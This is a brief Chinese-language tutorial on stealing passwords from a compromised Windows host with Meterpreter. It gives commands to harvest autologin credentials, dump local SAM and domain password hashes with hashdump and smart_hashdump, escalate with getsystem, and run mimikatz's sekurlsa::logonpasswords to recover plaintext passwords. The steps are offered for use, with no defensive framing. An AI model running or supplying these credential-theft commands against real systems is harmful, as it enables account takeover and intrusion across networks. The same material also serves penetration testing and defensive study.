获取用户密码的方法
抓取自动登录的密码
导出密码哈希
上传mimikatz程序
加载kiwi模块
抓取自动登录的密码
很多用户习惯将计算机设置自动登录,可以使用
run windows/gather/credentials/windows_autologin
抓取自动登录的用户名和密码
导出密码哈希
hashdump 模块可以从SAM数据库中导出本地用户账号,执行:
run hashdump
该命令的使用需要系统权限
用户哈希数据的输出格式为:
用户名:SID:LM哈希:NTLM哈希:::
还可以使用命令:
run windows/gather/smart_hashdump
该命令的使用需要系统权限。该功能更强大,如果当前用户是域管理员用户,则可以导出域内所有用户的hash
上传mimikatz程序
我们还可以通过上传mimikatz程序,然后执行mimikatz程序来获取明文密码
执行mimikatz必须System权限。
我们先getsystem提权至系统权限,然后执行 execute -i -f mimikatz.exe ,进入mimikatz的交互界面。然后执行:
privilege::debug
sekurlsa::logonpasswords
加载kiwi模块
该模块的使用需要System权限。关于该模块的用法:
https://blog.csdn.net/m0_53087192/article/details/112707016